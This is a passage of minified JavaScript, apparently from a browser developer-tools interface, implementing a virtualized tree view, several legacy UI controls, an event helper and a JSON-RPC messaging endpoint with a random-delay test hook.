s=this._rootElement.scrollTop,n=s+this._rootElement.clientHeight,o=Math.floor(s/t)-this._scrollPadding,r=Math.ceil(n/t)+this._scrollPadding,a=Math.min(e,Math.max(0,o)),l=Math.max(0,Math.min(e,r));return{first:a,last:l,scrollTop:s,spaceTop:Math.max(0,a*t),spaceBottom:Math.max(0,(e-l)*t),unboundFirst:o,unboundLast:r}}sizeSpacer(e,t){e.firstChild&&e.removeChild(e.firstChild);if(t<n.MaxSpacerSize){e.style.height=t+"px";e.style.display="block"}else{var i=document.createDocumentFragment();e.style.height="auto";e.style.display="inline";var s=document.createElement("div");s.style.height=t%n.MaxSpacerSize+"px";i.appendChild(s);for(var o=Math.floor(t/n.MaxSpacerSize),r=0;r<o;r++){(s=document.createElement("div")).style.height=n.MaxSpacerSize+"px";i.appendChild(s)}var a=document.createElement("span");a.style.display="inline-block";a.appendChild(i);e.appendChild(a)}}requestRender(e,t){this._delayedRenderCookie?this._delayedRenderRequestCount++:this._delayedRenderCookie=this._renderFunction(()=>this.executePendingRenderRequest(e,t),n.DelayedRenderInterval);if(this._delayedRenderRequestCount>n.MaxDelayedRenderRequestCount){this._delayedRenderCookie&&window.clearTimeout(this._delayedRenderCookie);this.executePendingRenderRequest(e,t)}}executePendingRenderRequest(e,t){this._onBeforeRendering&&this._onBeforeRendering();this._delayedRenderCookie=null;this._delayedRenderRequestCount=0;this.performRender(e,t);if(this._delayedScrollFunction){this._delayedScrollFunction();this._delayedScrollFunction=null}if(this._delayedSelectFunction){this._delayedSelectFunction();this._delayedSelectFunction=null}}getLabelForAddedClasses(e){if(!e)return"";var t;e.lastIndexOf("consoleItemError")>=0?t=this._errorLabel:e.lastIndexOf("consoleItemInfo")>=0?t=this._infoLabel:e.lastIndexOf("consoleItemWarn")>=0&&(t=this._warningLabel);t&&e.lastIndexOf("Stale")>=0?t=this._isStaleLabel+" "+t:t||(t="");return t}performRender(t,i){this._ignoreScroll=!0;var o=this.getViewportRowInfo();this._gridElement.style.height=this._gridElement.clientHeight+"px";this.sizeSpacer(this._spacerTopElement,o.spaceTop);this.sizeSpacer(this._spacerBottomElement,o.spaceBottom);this._separatorElement.style.top=o.scrollTop+"px";if(t){for(;this._gridElement.hasChildNodes();){var r=this._gridElement.lastChild;if(this._selectedRow===r){if(this.isFocusWithin()){var a=this._rootElement.scrollTop;this._rootElement.focus();this._rootElement.scrollTop=a}this._selectedRow=null}this._gridElement.removeChild(r)}this.resetViewport()}for(var l=document.createDocumentFragment(),h=document.createDocumentFragment(),d=o.first;d<=o.last&&d<this._filteredList.length;d++)if(d<this._currentViewport.first||d>this._currentViewport.last){var c=this.getItem(d);if(!c)continue;var u=this._dataContextMap[c.id],m=this.getIndent(u),p=null===c.name||void 0===c.name,_=c.htmlLines&&c.htmlLines.length>0?this.getLineIndex(this._filteredList[d]):-1,g=u.descendantCount>(c.htmlLines?c.htmlLines.length-1:0),f=this.getSelectedItem()===c,C="",v="listview-grid-row"+(c.additionalClass?" "+c.additionalClass:"");(H=s.createElement("div",v)).tabIndex=-1;H.id="row_"+d;H.setAttribute("data-index",""+d);H.setAttribute("role","treeitem");H.style.height=this._measurements.rowHeight+"px";if(f){H.classList.add("listview-grid-row-selected");H.setAttribute("aria-selected","true")}else H.removeAttribute("aria-selected");c.level&&H.setAttribute("aria-level",c.level);c.level&&H.setAttribute("aria-level",c.level);(d<this._currentViewport.first?l:h).appendChild(H);if(c.isSeparator){C=c.value;H.appendChild(s.createElement("div","listview-horizontal-separator"))}else if(p||c.htmlLinesFileLine&&c.htmlLinesFileLine===_){var S=this._hasIndent?m+(c.hasIcon?-1:1):0,E=s.createElement("div","listview-grid-cell listview-grid-cell-indent");E.style.width=S*n.IndentWidth+"px";H.appendChild(E);if(c.hasIcon){y=s.createElement("div","listview-grid-cell "+(_<=0?"listview-grid-cell-icon":"listview-grid-cell-icon-space"));_<=0&&c.additionalClass&&(C=this.getLabelForAddedClasses(c.additionalClass)+" ");if(c.iconTooltip){y.setAttribute("data-tooltip",c.iconTooltip);y.classList.add("BPT-Tooltip-Item")}H.appendChild(y)}if(c.buttonItems)for(var T=0;T<c.buttonItems.length;T++){var I=c.buttonItems[T],b=s.createElement("div","listview-grid-cell iconShell_16x16 "+I.buttonClass);b.setAttribute("listview-button-index",""+T);var x=s.createElement("div","buttonIcon icon_16x16"+(I.isChecked?" checked":""));b.appendChild(x);e.ButtonHelpers.setupButton(b,I.isChecked?I.checkedTooltip:I.uncheckedTooltip,I.clickHandler);H.appendChild(b)}if(c.hasChildren){if(c.hasIcon){y.style.marginRight="16px";S+=2}if(-1===_||0===_){(L=s.createElement("div","listview-icon-tree")).classList.add(g?"listview-icon-tree-expanded":"listview-icon-tree-collapsed");H.setAttribute("aria-expanded",g?"true":"false");this.addDOMAttrModifiedHandler(H);L.style.left=S*n.IndentWidth-13+"px";H.appendChild(L)}}M=s.createElement("div","listview-grid-cell listview-grid-cell-full listview-grid-cell-value");if(-1===_){M.innerText=c.value;C+=c.value}else{M.innerHTML=c.htmlLines[_];if(0===_)for(P=0;P<c.htmlLines.length;P++)C=C+c.htmlLines[P].replace(/<[^>]*>/g,"")+" ";if(f){H.classList.add("listview-grid-row-selected");H.setAttribute("aria-selected","true")}else H.removeAttribute("aria-selected")}H.appendChild(M)}else{if(c.hasIcon){var y;(y=s.createElement("div","listview-grid-cell "+(_<=0?"listview-grid-cell-icon":"listview-grid-cell-icon-space"))).style.position="absolute";y.style.left=(m-1)*n.IndentWidth+"px";H.appendChild(y);_<=0&&c.additionalClass&&(C=this.getLabelForAddedClasses(c.additionalClass)+" ")}var w=s.createElement("div","listview-grid-cell listview-grid-cell-resize");w.innerText=_<=0?c.name:"";_<=0&&c.name&&(C=C+c.name+" ");w.style.textIndent=(m+1)*n.IndentWidth+"px";w.style.width=this._nameColumnWidth+"px";H.appendChild(w);if(c.hasChildren&&(-1===_||0===_)){var L;(L=s.createElement("div","listview-icon-tree")).classList.add(g?"listview-icon-tree-expanded":"listview-icon-tree-collapsed");H.setAttribute("aria-expanded",g?"true":"false");this.addDOMAttrModifiedHandler(H);L.style.left=m*n.IndentWidth+3+"px";H.appendChild(L)}var M=s.createElement("div","listview-grid-cell listview-grid-cell-value");if(-1===_){M.innerText=c.value;C+=c.value}else{M.innerHTML=c.htmlLines[_];if(0===_)for(var P=0;P<c.htmlLines.length;P++)C=C+c.htmlLines[P].replace(/<[^>]*>/g,"")+" "}H.appendChild(M)}for(var A=H.querySelectorAll(".BPT-Tooltip-Item"),R=0;R<A.length;R++){var D=A[R];D instanceof HTMLElement&&D.addEventListener("mouseover",e=>{var t=e.srcElement.getAttribute("data-tooltip");Microsoft.Plugin.Tooltip.show({content:t})})}c.hasChildren&&H.classList.add(g?"listview-grid-row-expanded":"listview-grid-row-collapsed");if(-1===_||_===c.htmlLines.length-1){var k=u,B=c.hasSeparator,O=d<o.last&&this.getItem(d+1)&&this.getItem(d+1).isSeparator;if(!B&&u.parentContext){k=u.parentContext;for(;k&&d===this.getIndexOfItem(this._filteredList,k.item)+k.expandedCount;){if(k.item.hasSeparator){B=!0;break}k=k.parentContext}}if(B&&!O){var N=this.getIndent(k),F=s.createElement("div","listview-grid-underline");F.style.left=(N-1)*n.IndentWidth+"px";H.appendChild(F)}}H.setAttribute("aria-label",C)}else d===this._currentViewport.first&&(d=this._currentViewport.last);for(d=this._currentViewport.first;d<=this._currentViewport.last;d++)if(d<o.first||d>o.last){var H;if(H=document.getElementById("row_"+d)){if(this._selectedRow===H){if(this.isFocusWithin()){a=this._rootElement.scrollTop;this._rootElement.focus();this._rootElement.scrollTop=a}this._selectedRow=null}H.parentElement.removeChild(H)}}else d===o.first&&(d=o.last);this._gridElement.insertBefore(l,this._gridElement.firstChild);this._gridElement.appendChild(h);this._gridElement.style.height="auto";if(!isNaN(i)){this._selectedIndex=i;this._selectedRow=null}var U=this._selectedIndex>=0&&(this._selectedIndex<o.unboundFirst||this._selectedIndex>o.unboundLast)&&this._selectedIndex>=this._currentViewport.unboundFirst&&this._selectedIndex<=this._currentViewport.unboundLast;if(this._selectedIndex>=0&&!this._selectedRow&&!U){var V=document.getElementById("row_"+this._selectedIndex);V&&(this._selectedRow=V);this.updateGroupLine()}else t&&this.updateGroupLine();this._currentViewport=o;this._ignoreScroll=!1;setTimeout(()=>{this._postRenderCallback&&this._postRenderCallback()});this._onRendered&&this._onRendered();this._rootElement.setAttribute("tabindex",this._filteredList.length>0?"1":"-1")}getItemId(e){var t=e.lastIndexOf("::");t>-1&&(e=e.substring(0,t));return e}getLineIndex(e){var t=-1;if(e){var i=e.lastIndexOf("::");i>-1&&(t=parseInt(e.substring(i+2),10))}return t}getIndexOfItem(e,t,i=!0){var s=this.getItemId(t.id);"consoleItemInput"===t.additionalClass&&i?s+=t.htmlLines&&t.htmlLines.length>0?"::"+(t.htmlLines.length-1).toString():"":s+=t.htmlLines&&t.htmlLines.length>0?"::0":"";return e.indexOf(s)}getItem(e){if(e>=0&&e<this._filteredList.length){var t=this.getItemId(this._filteredList[e]);if(this._dataContextMap[t])return this._dataContextMap[t].item}return null}isFocusWithin(){return this._rootElement.querySelectorAll(":focus").length>0}scrollIndexIntoView(e,t){if(!document.getElementById("row_"+e)||t||e<this._currentViewport.unboundFirst+this._scrollPadding||e>=this._currentViewport.unboundLast-this._scrollPadding-1){if(t)this._rootElement.scrollTop=Math.min(this._filteredList.length*this._measurements.rowHeight-this._rootElement.clientHeight,e*this._measurements.rowHeight);else{var i=this.getItem(e),s=1;i&&i.htmlLines&&(s=i.htmlLines.length);this._rootElement.scrollTop=(e+s+1)*this._measurements.rowHeight-this._rootElement.clientHeight}this.performRender()}}getIndent(e){if(!this._hasIndent)return 0;for(var t=e.item.hasIcon?1:0;e&&e.parentContext;)t+=(e=e.parentContext).item.hasIcon?2:1;return t}updateGroupLine(){var e=!1;if(this._selectedIndex>=0&&this._selectedIndex<this._filteredList.length){var t=this.getItem(this._selectedIndex);if(t){var i=this._dataContextMap[t.id];if(i&&i.expandedCount>(t.htmlLines?t.htmlLines.length-1:0)){this._groupLineElement.style.display="inline-block";this._groupLineElement.style.top=this._selectedIndex*this._measurements.rowHeight+this._measurements.rowHeight+"px";this._groupLineElement.style.left=(this.getIndent(i)+1)*n.IndentWidth-4+"px";this._groupLineElement.style.height=i.expandedCount*this._measurements.rowHeight+1+"px";e=!0}}}e||(this._groupLineElement.style.display="none")}updateContextCounts(e,t,i){for(var s=e;s;){s.descendantCount+=t;s.expandedCount+=i;s=s.parentContext}}spliceArray(e,t,i){for(var s,n=2e5,o=~~(t.length/n),r=0;r<o;r++){var a=r*n;s=[i+a,0].concat(t.slice(a,n));Array.prototype.splice.apply(e,s)}var l=t.length%n;if(l>0){s=[i+(t.length-l),0].concat(t.slice(t.length-l,t.length));Array.prototype.splice.apply(e,s)}}moveSelectionUp(e){if(e){var t=parseInt(this._selectedRow.getAttribute("data-index"),10),i=this.getItem(t),s=this._dataContextMap[i.id];s.parentContext&&this.selectItem(s.parentContext.item)}else{var n=this._selectedIndex-1;n>=0&&n<this._filteredList.length&&this.selectItem(this.getItem(n))}}moveSelectionDown(){var e=this.getSelectedItem(),t=this._selectedIndex+(e.htmlLines&&e.htmlLines.length>0?e.htmlLines.length:1);t>=0&&t<this._filteredList.length&&this.selectItem(this.getItem(t))}onDocumentMouseMove(e){var t=e.clientX-this._separatorStartX;this._nameColumnWidth=Math.max(n.MinColumnSize,this._nameColumnWidth+t);this._separatorElement.style.left=n.SeparatorOffset+this._nameColumnWidth+"px";this._separatorStartX=Math.max(n.MinColumnSize,e.clientX);return!0}onDocumentMouseUp(e){this._separatorElement.classList.remove("listview-grid-separator-visible");for(var t=this._gridElement.querySelectorAll(".listview-grid-cell-resize"),i=0;i<t.length;i++)t.item(i).style.width=this._nameColumnWidth+"px";var s=this._gridElement.querySelectorAll(".listview-grid-cell-full-content");for(i=0;i<s.length;i++)s.item(i).style.left=-this._nameColumnWidth+"px";document.removeEventListener("mousemove",this._boundDocMouseMoveCallback);document.removeEventListener("mouseup",this._boundDocMouseUpCallback);return!0}onMouseDown(e){var t=e.target,i=s.findClosestElement(t,".listview-grid-row, .listview-grid-separator");if(i)if(i.classList.contains("listview-grid-row")){this.selectRow(i,!0);if(t.classList.contains("listview-grid-cell-clicksection")&&this._clickCallback){var n=parseInt(i.getAttribute("data-index"),10),o=this.getItem(n);o&&this._clickCallback(o,i,t,e.button)}if(t.classList.contains("listview-icon-tree")&&1===e.which){i.focus();this.toggleRow(i)}}else{this._separatorStartX=e.clientX;this._separatorElement.classList.add("listview-grid-separator-visible");this._boundDocMouseMoveCallback=(e=>this.onDocumentMouseMove(e));this._boundDocMouseUpCallback=(e=>this.onDocumentMouseUp(e));document.addEventListener("mousemove",this._boundDocMouseMoveCallback);document.addEventListener("mouseup",this._boundDocMouseUpCallback)}}onMouseDblClick(e){var t=e.target,i=s.findClosestElement(t,".listview-grid-row");if(i&&1===e.which)if(t.classList.contains("listview-grid-cell-editsection")&&this._editCallback){var n=parseInt(i.getAttribute("data-index"),10),o=this.getItem(n);this._editCallback(o,i,t)}else t.classList.contains("listview-icon-tree")||this.toggleRow(i)}onKeyDown(t){if(t.keyCode>=e.KeyCodes.ArrowFirst&&t.keyCode<=e.KeyCodes.ArrowLast||t.keyCode===e.KeyCodes.Minus||t.keyCode===e.KeyCodes.Plus||t.keyCode===e.KeyCodes.Space||t.keyCode===e.KeyCodes.Enter){if(this._selectedIndex>=0){if(!this._selectedRow){this.scrollIndexIntoView(this._selectedIndex,!0);var i=document.getElementById("row_"+this._selectedIndex);i&&this.selectRow(i,!1)}if(!this._selectedRow)return!0;var s=parseInt(this._selectedRow.getAttribute("data-index"),10),n=this.getItem(s);if(!n)return!0;var o=this._dataContextMap[n.id],r=o.descendantCount>(n.htmlLines?n.htmlLines.length-1:0);switch(t.keyCode){case e.KeyCodes.Minus:case e.KeyCodes.ArrowLeft:if(this._hasIndent)if(r)this.toggleRow(this._selectedRow);else{var a=o.parentContext;a&&a.item&&this.getIndex(a.item)>=0&&this.selectItem(a.item)}break;case e.KeyCodes.ArrowUp:this.moveSelectionUp();break;case e.KeyCodes.Plus:case e.KeyCodes.ArrowRight:r||this.toggleRow(this._selectedRow);break;case e.KeyCodes.ArrowDown:this.moveSelectionDown();break;case e.KeyCodes.Space:case e.KeyCodes.Enter:o.children&&o.children.length>0&&this.toggleRow(this._selectedRow)}}t.preventDefault();return!1}if(t.keyCode===e.KeyCodes.A&&t.ctrlKey){t.preventDefault();t.stopPropagation();return!1}if(t.keyCode===e.KeyCodes.Tab){this._isTabbingOut=!0;this._rootElement.focus()}return!0}onFocus(e){this._rootElement.classList.add("listview-grid-focus-within");e.target===this._rootElement&&this._selectedRow&&!this._isTabbingOut&&(this._delayedFocusCookie||(this._delayedFocusCookie=window.setTimeout(()=>{var e=this._rootElement.scrollLeft,t=this._rootElement.scrollTop;this._selectedRow&&this._selectedRow.focus();this._rootElement.scrollLeft=e;this._rootElement.scrollTop=t;clearTimeout(this._delayedFocusCookie);this._delayedFocusCookie=null},n.DelayedRenderInterval)));this._isTabbingOut=!1}onBlur(e){this._rootElement.classList.remove("listview-grid-focus-within")}onResize(e){this.remeasure();this.requestRender(this._isInitialResize);this._isInitialResize=!1;this._rootElement.scrollTop=this._scrollBottom-this._rootElement.clientHeight}onScroll(e){if(!this._ignoreScroll){this._onBeforeScroll&&this._onBeforeScroll();var t=this._rootElement.clientHeight+this._rootElement.scrollTop,i=this._measurements.rowHeight*this._filteredList.length;this._filteredList.length>0&&t>(this._filteredList.length-1)*this._measurements.rowHeight&&(t=i);t<this._scrollBottom?this._autoScrollEnabled=!1:this._autoScrollEnabled||(this._autoScrollEnabled=t>=i);if(t!==this._scrollBottom){this._scrollBottom=t;i>this._rootElement.clientHeight&&this.requestRender()}this._onScrollCompleted&&this._onScrollCompleted()}}onCopy(){var t=e.ToolWindowHelpers.getTextForClipboard();if(!t||0===t.length){var i=this.getSelectedItem();i&&i.getCopyText&&(t=i.getCopyText())}e.ClipboardHelper.copyPlainText(t)}expandDescendants(e,t){if(t&&t(e))this.isItemExpanded(e)&&this.toggleRowAt(this.getIndexOfItem(this._filteredList,e));else{this.isItemExpanded(e)||this._toggleCallback(e);if(e.hasChildren)for(var i=this.getItemChildren(e),s=0;i&&s<i.length;s++)this.expandDescendants(i[s],t)}}separatorFilter(e,t){return!e||!t||(!e.isSeparator||!t.isSeparator)}}n.DefaultColumnSize=170;n.IndentWidth=16;n.MaxSpacerSize=15e5;n.MinColumnSize=50;n.SeparatorOffset=8;n.MaxDelayedRenderRequestCount=500;n.DelayedRenderInterval=50;n.EXPAND_ROW=1;n.COLLAPSE_ROW=-1;t.ObjectTreeView=n}(e.ObjectView||(e.ObjectView={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(e,i,s,n,o,r,a,l=0,h,d){this._id=t.IdCounter++;this._name=o;this._value=e;this._hasChildren=i;this._hasIcon=s;this._hasSeparator=n;this._additionalClass=r;this._htmlLines=a;this._buttonItems=null;this._notifyType=l;this._htmlLinesFileLine=h;this._iconTooltip=d}get id(){return""+this._id}get target(){return this._target}set target(e){this._target=e}get isStale(){return this._isStale}set isStale(e){if(!this._isStale){this._isStale=e;if(this._isStale){var t;switch(this._notifyType){case 2:t=" consoleItemErrorStale";break;case 3:t=" consoleItemInfoStale";break;case 5:t=" consoleItemWarnStale"}this._additionalClass+=t}}}get iconTooltip(){return this._iconTooltip}get name(){return this._name}get notifyType(){return this._notifyType}get value(){return this._value}set value(e){this._value=e}get hasChildren(){return this._hasChildren}set hasChildren(e){this._hasChildren=e}get hasIcon(){return this._hasIcon}get buttonItems(){return this._buttonItems}set buttonItems(e){this._buttonItems=e}get hasSeparator(){return this._hasSeparator}get additionalClass(){return this._additionalClass}set additionalClass(e){this._additionalClass=e}get htmlLines(){return this._htmlLines}set htmlLines(e){if(this._htmlLines&&this._htmlLines.length!==e.length)throw new Error("The number of lines cannot be changed for a TreeView item after initialization");this._htmlLines=e}get htmlLinesFileLine(){return this._htmlLinesFileLine}set htmlLinesFileLine(e){this._htmlLinesFileLine=e}get consoleItemId(){return this._id}getCopyText(e=""){return e+this._value}setButtonCheckState(e,t){this._buttonItems&&this._buttonItems.length>e&&(this._buttonItems[e].isChecked=t)}}t.IdCounter=-1;t.TextCopyIndent="   ";e.TreeViewItem=t}(e.ObjectView||(e.ObjectView={}))}(Common||(Common={}));!function(e){!function(t){!function(t){"use strict";class i extends t.Control{constructor(e){super(e);this.rootElement.addEventListener("click",e=>this.onClick(e));this.rootElement.addEventListener("keydown",e=>this.onKeydown(e));this.rootElement.addEventListener("mousedown",e=>this.onMouseDown(e));this.rootElement.addEventListener("mouseup",e=>this.onMouseUpLeave(e));this.rootElement.addEventListener("mouseleave",e=>this.onMouseUpLeave(e))}get click(){return this._onClick}set click(e){this._onClick=e}get content(){return this.rootElement.innerHTML}set content(e){this.rootElement.innerHTML=e}get tooltip(){return this._tooltip}set tooltip(e){this._tooltip=e;this.rootElement.onmouseover=(()=>{Microsoft.Plugin.Tooltip.show({content:this._tooltip});return!0})}get disabled(){return this.rootElement.disabled}set disabled(e){this.rootElement.disabled=e}onClick(e){this.rootElement.focus();this._onClick&&this._onClick()}onKeydown(t){if(t.keyCode===e.KeyCodes.Space||t.keyCode===e.KeyCodes.Enter){this._onClick&&this._onClick();t.preventDefault()}}onMouseDown(e){this.disabled||this.rootElement.classList.add("BPT-ToolbarButton-MouseDown")}onMouseUpLeave(e){this.rootElement.classList.remove("BPT-ToolbarButton-MouseDown")}}t.Button=i}(t.Legacy||(t.Legacy={}))}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(e){!function(e){"use strict";class t extends e.Control{constructor(e){super(e);this._radioButtonElement=this.rootElement;t.RadioButtons.push(this);this.rootElement.addEventListener("click",e=>this.onCheck(e));this.updateAriaProperties()}get check(){return this._onCheck}set check(e){this._onCheck=e}get checked(){return this._radioButtonElement.checked}set checked(e){this._radioButtonElement.checked=e;this.updateAriaProperties()}get disabled(){return this.rootElement.disabled}set disabled(e){this.rootElement.disabled=e}get groupName(){return this._radioButtonElement.name}get focusableElement(){return this._radioButtonElement}onCheck(e){if(this.checked){this.rootElement.focus();this._onCheck&&this._onCheck();for(var i=0;i<t.RadioButtons.length;++i){var s=t.RadioButtons[i];s!==this&&s.groupName===this.groupName&&s.updateAriaProperties()}}this.updateAriaProperties()}updateAriaProperties(){this.rootElement.setAttribute("aria-checked",""+this.checked)}}t.RadioButtons=[];e.RadioButton=t}(e.Legacy||(e.Legacy={}))}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){!function(t){"use strict";class i extends t.Button{constructor(e){super(e);F12.Tools.Utility.Assert.areEqual(this.rootElement.getAttribute("role"),"button","Missing button role");this.rootElement.addEventListener("DOMAttrModified",e=>{if("aria-pressed"===e.attrName){var t="true"===e.newValue;this.rootElement.setAttribute("selected",""+t);this._onSelectChanged&&e.newValue!==e.prevValue&&this._onSelectChanged(t)}});this.selected=this.selected}get selectedChanged(){return this._onSelectChanged}set selectedChanged(e){this._onSelectChanged=e}get selected(){return"true"===this.rootElement.getAttribute("aria-pressed")}set selected(e){this.rootElement.setAttribute("aria-pressed",""+e)}onClick(e){super.onClick(e);this.selected=!this.selected}onKeydown(t){if(t.keyCode===e.KeyCodes.Space||t.keyCode===e.KeyCodes.Enter){super.onKeydown(t);this.selected=!this.selected;t.preventDefault()}}}t.ToggleButton=i}(t.Legacy||(t.Legacy={}))}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){!function(t){"use strict";class i extends t.Control{constructor(e){super(e);this._idPostfix=i.GlobalIdPostfix++;var t="textBoxDataList"+this._idPostfix;this._inputElement=document.createElement("input");this._inputElement.type="text";this._inputElement.setAttribute("list",t);this._inputElement.addEventListener("input",e=>this.onInput(e));this._inputElement.addEventListener("keydown",e=>this.onKeydown(e));this._inputElement.addEventListener("change",e=>this.onChange(e));this._dataListElement=document.createElement("datalist");this._dataListElement.id=t;this._optionElements=null;this.rootElement.appendChild(this._inputElement);this.rootElement.appendChild(this._dataListElement)}get items(){return this._items}set items(e){this.clearItems();this._optionElements=[];for(var t=0;t<e.length;++t){var i=document.createElement("option");i.text=e[t].text;this._optionElements.push(i);this._dataListElement.appendChild(i)}}set text(e){this._inputElement.value=e}get text(){return this._inputElement.value}set textChanged(e){this._valueChanged=e}get textChanged(){return this._valueChanged}set textCommitted(e){this._valueCommitted=e}get textCommitted(){return this._valueCommitted}get focusableElement(){return this._inputElement}clearItems(){if(this._optionElements){for(var e=0;e<this._optionElements.length;++e)this._dataListElement.removeChild(this._optionElements[e]);this._optionElements=null}}onInput(e){this.textChanged&&this.textChanged(this.text)}onKeydown(t){t.keyCode===e.KeyCodes.Enter&&window.setImmediate(()=>{this.textCommitted&&this.textCommitted(this.text)})}onChange(e){this.textCommitted&&this.textCommitted(this.text)}}i.GlobalIdPostfix=1;t.DataListTextBox=i}(t.Legacy||(t.Legacy={}))}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(e){!function(t){"use strict";class i{constructor(e,t,i,s,n){this._ourIdentifier=e;this._nextId=0;this._promiseTable={};this._jsonRpcMethodReceive=t;this._jsonRpcNotificationReceive=i;this._postMessage=s;Date.now||(Date.now=function(){return+new Date});this._startTime=Date.now();n(e=>{this.onMessage(e)})}jsonRpcMethodCall(t,i,s,o,r){s||e.Utility.Assert.failDebugOnly("Trying to insert a promise into the queue without a completed function: The front end will have no way of knowing this promise completed");var a=this._ourIdentifier+"|"+this._nextId;this._nextId++;this._promiseTable[a]={completed:s,error:o};var l=JSON.stringify({id:a,method:t,params:i});if(n.RandomDelay){n.queueData(()=>{this._postMessage(l,r)},l);return!0}return this._postMessage(l,r)}jsonRpcNotification(e,t,i){var s=this._ourIdentifier+"|NULL",o=JSON.stringify({id:s,method:e,params:t});n.RandomDelay?n.queueData(()=>{this._postMessage(o,i)},o):this._postMessage(o,i)}onMessage(t){var i=JSON.parse(t.data),s=i.id.split("|");e.Utility.Assert.areEqual(s.length,2);"NULL"===s[1]?s[0]!==this._ourIdentifier&&this._jsonRpcNotificationReceive(i.method,i.params,i.id):s[0]!==this._ourIdentifier||i.method?n.RandomDelay?n.queueData(()=>{this.handleCall(i)},t.data):this.handleCall(i):n.RandomDelay?n.queueData(()=>{this.handleReply(i)},t.data):this.handleReply(i)}handleReply(t){if(this._promiseTable[t.id]&&this._promiseTable[t.id].completed){if(t.error){e.Utility.Assert.isUndefined(t.data,"Can't have both data and error");this._promiseTable[t.id].error(t.error)}else this._promiseTable[t.id].completed(t.data);delete this._promiseTable[t.id]}else e.Utility.Assert.failDebugOnly("Can't complete a promise that does not exist in the promise table. Probably a dup reply msg.")}handleCall(e){this._jsonRpcMethodReceive(e.method,e.params,(t,i)=>{var s;s=i?JSON.stringify({id:e.id,error:i}):JSON.stringify({id:e.id,data:t});this._postMessage(s)},e.id)}}t.JsonRPCEndpoint=i;class s{constructor(e,t){this.callback=e;this.message=t}}t.RpcDelayData=s;class n{static enableDelay(e,t){n.RandomDelay=!0;n.CalculateDelayTime=e;n.DelayedMessage=t}static disableDelay(){n.RandomDelay=!1;if(n.RandomDelayTimeout){clearTimeout(n.RandomDelayTimeout);n.RandomDelayTimeout=null;n.clearQueue()}}static queueData(e,t){var i=new s(e,t);n.DelayedQueue.push(i);if(!n.RandomDelayTimeout){var o=n.CalculateDelayTime(t);n.RandomDelayTimeout=setTimeout(n.fireRandomly,o)}}static fireRandomly(){var e=n.DelayedQueue.shift();n.DelayedMessage(e.message);e.callback();if(n.DelayedQueue.length>0){var t=n.CalculateDelayTime(n.DelayedQueue[0].message);n.RandomDelayTimeout=setTimeout(n.fireRandomly,t)}else n.RandomDelayTimeout=null}static clearQueue(){for(var e=0;e<n.DelayedQueue.length;e++){var t=n.DelayedQueue[e];n.DelayedMessage(t.message);t.callback()}n.DelayedQueue=[]}}n.RandomDelay=!1;n.DelayedQueue=[];t.RpcDelayHook=n}(e.RPC||(e.RPC={}))}(e.Tools||(e.Tools={}))}(F12||(F12={}));!function(e){"use strict";class t{constructor(){this._eventCallbacks={}}addEventListener(e,t){var i=this._eventCallbacks[e];if(!i){this._eventCallbacks[e]=new Array;i=this._eventCallbacks[e]}i.push(t)}addOneTimeListener(e,t){var i=s=>{this.removeEventListener(e,i);t(s)};this.addEventListener(e,i)}removeEventListener(e,t){var i=this._eventCallbacks[e];i&&i.splice(i.indexOf(t),1)}fireEvent(e,t){if(this._eventCallbacks[e])for(var i=this._eventCallbacks[e].slice(0),s=0;s<i.length;s++)i[s](t)}fireEventForFirstListener(e,t){if(this._eventCallbacks[e]){var i=this._eventCallbacks[e].slice(0);i.length>0&&i[0](t)}}}e.EventHelperObject=t}(Common||(Common={}));!function(e){"use strict";class t{constructor(e,t){this._container=e;this._elementCreator=t;this._index=null;this._elements=[];this._recycledElements=[]}static forDivWithClass(e,i){return new t(e,()=>{var e=document.createElement("div");e.className=i;return e})}start(){this._index=0}getNext(){F12.Tools.Utility.Assert.isTrue(null!==this._index,"Invalid operation. Method 'start' must be called before calling getNext.");var e=this._elements[this._index];if(!e){e=this._recycledElements.length>0?this._recycledElements.pop():this._elementCreator();this._elements.push(e);this._container.appendChild(e)}this._index++;return e}stop(){if(null!==this._index){for(var e=this._elements.length-1;e>=this._index;--e){var t=this._elements.pop();this._recycledElements.push(t);this._container.removeChild(t)}this._index=null}}recycleAll(){for(var e=this._elements.length-1;e>=0;--e){var t=this._elements.pop();this._recycledElements.push(t);this._container.removeChild(t)}}removeAll(){for(var e=this._elements.length-1;e>=0;--e){var t=this._elements.pop();this._container.removeChild(t)}this._elements=[];this._recycledElements=[]}}e.ElementRecyclerFactory=t}(Common||(Common={}));!function(e){!function(e){"use strict"}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(e){"use strict"}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(e){"use strict"}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.TemplateControl{constructor(t){super(t);this.hoverStateChangeEvent=new e.EventSource}get id(){return this.item?this.item.id:null}get isSelected(){return this._isSelected}set isSelected(e){if(this._isSelected!==e){this._isSelected=e;this.updateStyle()}}get item(){return this._item}set item(e){this._item=e}get hasFocus(){return null!==this.id&&this.id===i.FocusedContainerId}set hasFocus(e){i.FocusedContainerId=e?this.id:null}clearHoverState(){this.rootElement.classList.remove(i.HOVER_CSS_CLASSNAME)}empty(){this.item=null;this.template&&(this.template.model=null);this._isSelected=null;this.updateStyle();this.rootElement.classList.remove("itemContainerHover")}focus(){this.isSelected=!0;this.hasFocus=!0;this.updateStyle();this.rootElement.focus()}onApplyTemplate(){super.onApplyTemplate();this.rootElement.id="listItemContainer"+i.IdCount++;this.rootElement.className=i.BASE_CSS_CLASSNAME;this.rootElement.tabIndex=-1;this.rootElement.addEventListener("focus",this.onFocus.bind(this));this.rootElement.addEventListener("blur",this.onBlur.bind(this));this.rootElement.addEventListener("click",this.onClick.bind(this));this.rootElement.addEventListener("contextmenu",this.onContextMenu.bind(this));this.rootElement.addEventListener("mouseover",()=>{this.rootElement.classList.add(i.HOVER_CSS_CLASSNAME);this.hoverStateChangeEvent.invoke({hovering:!0,container:this})});this.rootElement.addEventListener("mouseleave",()=>{this.rootElement.classList.remove(i.HOVER_CSS_CLASSNAME);this.hoverStateChangeEvent.invoke({hovering:!1,container:this})})}static getRowHeight(){if(!i.RowHeight){var e=new i;document.body.appendChild(e.rootElement);i.RowHeight=e.rootElement.offsetHeight;document.body.removeChild(e.rootElement)}return 